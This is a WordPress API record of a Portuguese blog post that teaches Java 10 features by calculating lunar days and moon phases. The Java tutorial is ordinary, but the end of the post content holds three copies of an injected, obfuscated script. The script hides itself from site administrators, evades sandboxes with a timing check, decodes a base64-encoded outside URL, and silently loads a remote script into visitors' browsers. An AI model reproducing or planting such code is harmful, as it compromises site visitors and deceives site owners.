{"id":4273,"date":"2018-04-04T16:03:48","date_gmt":"2018-04-04T19:03:48","guid":{"rendered":"http:\/\/thiagovespa.com.br\/blog\/?p=4273"},"modified":"2025-10-26T22:31:32","modified_gmt":"2025-10-27T01:31:32","slug":"calculo-do-dia-lunar-e-fases-da-lua-com-java-10","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2018\/04\/04\/calculo-do-dia-lunar-e-fases-da-lua-com-java-10\/","title":{"rendered":"C\u00e1lculo do dia lunar e fases da lua com Java 10"},"content":{"rendered":"<p>Dia 30 de mar\u00e7o iniciou o per\u00edodo de Pessach (ou p\u00e1scoa) judaica. O interessante \u00e9 que as festas judaicas s\u00e3o calculadas de acordo com as fases da lua e dias lunares, baseado num calend\u00e1rio luni-solar (per\u00edodos da lua e sol). Aproveitei o per\u00edodo para aprender um pouco de Java 10 com o uso da declara\u00e7\u00e3o var, lambdas e a API de data e hora que foi introduzida no Java 8. Para isso criei um aplicativo que calcula as fases lunares.<\/p>\n<p>A lua passa por todas as suas fases em um per\u00edodo com mais ou menos 29,5 dias, tamb\u00e9m chamado de luna\u00e7\u00e3o. Esse per\u00edodo \u00e9 conhecido como m\u00eas sin\u00f3dico. \u00c9 diferente do per\u00edodo que ela circunda a terra (27,3 dias), que \u00e9 conhecido como m\u00eas sideral. Essa diferen\u00e7a \u00e9 referente ao movimento orbital da Terra em torno do sol.<\/p>\n<p>Para calcular as fases da lua, a ideia \u00e9 bem simples. \u00c9 preciso conhecer uma data com lua nova. No exemplo utilizei dia 07 de janeiro de 1970. Como o ciclo \u00e9 de 29,5 dias, \u00e9 necess\u00e1rio calcular a diferen\u00e7a entre essas datas e o resto da divis\u00e3o pelo per\u00edodo sin\u00f3dico e temos o n\u00famero de dias lunares que passou \u00e0 partir de uma lua nova. Pois a cada 29,5 dias temos uma outra lua nova. Ou seja:<\/p>\n<blockquote><p>DiaLunar = (DiaVerificar - DataDaLuaNova) mod PeriodoSin\u00f3tico<\/p><\/blockquote>\n<p>Para saber o tipo de luas, \u00e9 s\u00f3 verificar a quantidade de dias do per\u00edodo sin\u00f3tico (29,5 dias) e dividir pela quantidade de luas (8 no caso), que d\u00e1 aproximadamente 3,7. Ent\u00e3o a cada 3,7 dias temos um novo tipo de lua.<\/p>\n<p>Criei um enum para as fases da lua para ficar melhor organizado o c\u00f3digo:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">    static enum MoonPhase {\n        NEW_MOON, \/\/ Nova\n        WAXING_CRESCENT, \/\/ Crescente\n        FIRST_QUARTER, \/\/ Quarto crescente\n        WAXING_GIBBOUS, \/\/ Crescente gibosa\n        FULL_MOON, \/\/ Cheia\n        WANING_GIBBOUS, \/\/ Minguante gibosa\n        THIRD_QUARTER, \/\/ Quarto minguante\n        WANING_CRESCENT; \/\/ Minguante\n    }<\/pre>\n<p>Criei duas constantes para serem utilizadas posteriormente em outros c\u00f3digos:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">    public static final long SYNODIC_PERIOD = 2551442877L; \/\/29.530588854 days\n\n    public static final LocalDateTime KNOWN_NEW_MOON = LocalDate.of(1970, Month.JANUARY, 7).atStartOfDay();<\/pre>\n<p>A lua nova \u00e9 in\u00edcio do m\u00eas para os judeus e \u00e9 chamada de \u05e8\u05d0\u05e9 \u05d7\u05d5\u05d3\u05e9 ou Rosh Chodesh, traduzido como cabe\u00e7a do m\u00eas. Nesse dia se comemora a Festa da Lua Nova, 14 dias ap\u00f3s esse dia \u00e9 lua cheia, e no primeiro m\u00eas judaico (Nisan ou Abibe) \u00e9 onde inicia o Pessach. Para se recuperar o dia lunar, que come\u00e7a a contar \u00e0 partir da primeira lua nova do m\u00eas, \u00e9 necess\u00e1rio calcular a diferen\u00e7a entre uma lua nova conhecida e a data a ser verificada e ver o resto da divis\u00e3o pelo per\u00edodo sin\u00f3dico:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">    public static int getLunarDay(LocalDateTime day) {\n        var lunarDay = (int) Duration.ofMillis(Duration.between(KNOWN_NEW_MOON, day).toMillis() % SYNODIC_PERIOD).toDays();\n        return lunarDay;\n    }<\/pre>\n<p>Com isso, para saber a fase atual da lua \u00e9 s\u00f3 dividir pela diferen\u00e7a de cada lua, que, como dito anteriormente, \u00e9 de aproximadamente 3,7 dias:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">    public static MoonPhase getMoonPhase(int lunarDay) {\n        var phaseNum = (int)Math.floor(lunarDay\/3.7);\n        return MoonPhase.values()&#x5B;phaseNum];\n    }<\/pre>\n<p>E para usar os dados utilizei o m\u00e9todo main para imprimir a data, o dia lunar e a fase da lua de agora at\u00e9 1 m\u00eas para frente:<\/p>\n<pre class=\"brush: java; highlight: [4,5,6]; title: ; notranslate\" title=\"\">    public static void main(String&#x5B;] args) {\n        var now = LocalDateTime.now();\n        var end = now.plusMonths(1);\n\n        Stream.iterate(now, date -&gt; date.plusDays(1))\n            .limit(ChronoUnit.DAYS.between(now, end))\n            .forEach(MoonUtils::printLunarAnalysis);\n      \n    }\n\n    private static void printLunarAnalysis(LocalDateTime ldt) {\n        var df = DateTimeFormatter\n            .ofLocalizedDate(FormatStyle.SHORT)\n            .withLocale(new Locale(&quot;pt&quot;, &quot;br&quot;));\n\n        var lunarDay = getLunarDay(ldt);\n        var moonPhase = getMoonPhase(lunarDay);\n        System.out.println(&quot;Data: &quot; + ldt.format(df));\n        System.out.println(&quot;Dia lunar: &quot; + lunarDay);\n        System.out.println(&quot;Fase da lua (prov\u00e1vel): &quot; + moonPhase);\n        System.out.println();\n    }<\/pre>\n<p>Nas linhas 4 a 6 estou utilizando express\u00f5es lambda junto com a intera\u00e7\u00e3o do Java 8 e method reference. A infer\u00eancia da declara\u00e7\u00e3o var do Java 10, que est\u00e1 em todo c\u00f3digo, tamb\u00e9m funciona adequadamente. Com isso, aprendemos utilizar alguns dos novos recursos do Java e, caso voc\u00ea necessite em alguma aplica\u00e7\u00e3o ou calend\u00e1rio, conseguimos descobrir qual fase da lua estamos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dia 30 de mar\u00e7o iniciou o per\u00edodo de Pessach (ou p\u00e1scoa) judaica. O interessante \u00e9 que as festas judaicas s\u00e3o calculadas de acordo com as fases da lua e dias lunares, baseado num calend\u00e1rio luni-solar (per\u00edodos da lua e sol). <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2018\/04\/04\/calculo-do-dia-lunar-e-fases-da-lua-com-java-10\/\">Continue lendo  <span class=\"screen-reader-text\">  C\u00e1lculo do dia lunar e fases da lua com Java 10<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-4273","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4273","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4273"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4273\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4273"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4273"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4273"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}